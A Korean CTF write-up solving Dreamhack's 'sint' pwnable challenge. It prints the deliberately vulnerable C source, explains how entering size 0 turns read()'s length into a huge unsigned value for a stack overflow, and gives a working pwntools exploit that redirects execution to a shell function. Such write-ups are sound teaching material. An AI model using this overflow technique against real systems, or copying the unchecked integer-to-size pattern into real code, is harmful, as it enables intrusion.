Dreamhack | sint
Dreamhack-Pwnable sint
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
이 문제는 Integer Issues라 하는 Reference를 가지고 있고 보호기법으로 보면 NX bit만 활성화 되어 있는 것을 알 수 있다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
이 코드에서는 get_shell을 통한 system 호출이 가능하다.
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
size라는 변수를 int형으로 입력 받아 256보다 크거나 0보다 작으면 프로그램이 종료된다.
printf("Data: ");
read(0, buf, size - 1);
우리가 입력받은 size보다 1만큼 작게 Data를 입력받아 buf[256]에 저장하는 것을 알 수 있다.
size변수는 int형으로 맨 앞 자리는 부호를 설정하는 값이다. 즉 -2^31 ~ 2^31-1의 범위를 가지게 된다.
size가 0이고 -1을 하게 되면 컴퓨터는 2의 보수를 취해 값을 변경하게 된다.
따라서, size - 1를 2진수로 표현하면 1111 1111 1111 1111, 엄청 큰 값을 가지게 된다.
- read 함수
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t nbytes);
입력받는 크기에 해당 형은 size_t로 unsigned int로 부호없는 정수형이다. 즉, 2의 보수처럼 맨 앞 자리가 부호를 뜻하지 않게 된다는 것이다.
그래서 size - 1의 2진수의 값을 매우 큰 값으로 받아드려 BOF가 가능하게 된다.
system을 불러오는 get_shell함수도 존재하므로, 전체 크기 0x104 + SFP 4byte + get_shell 주소로 payload를 전송하면 해결이 가능하다.
from pwn import *
# p = process('./sint')
p = remote('host3.dreamhack.games', port)
elf = ELF('./sint')
get_shell = elf.symbols['get_shell']
payload = b''
p.recvuntil('Size: ')
p.sendline('0')
payload += b'A' * 0x108 + p32(get_shell)
p.recvuntil('Data: ')
p.send(payload)
p.interactive()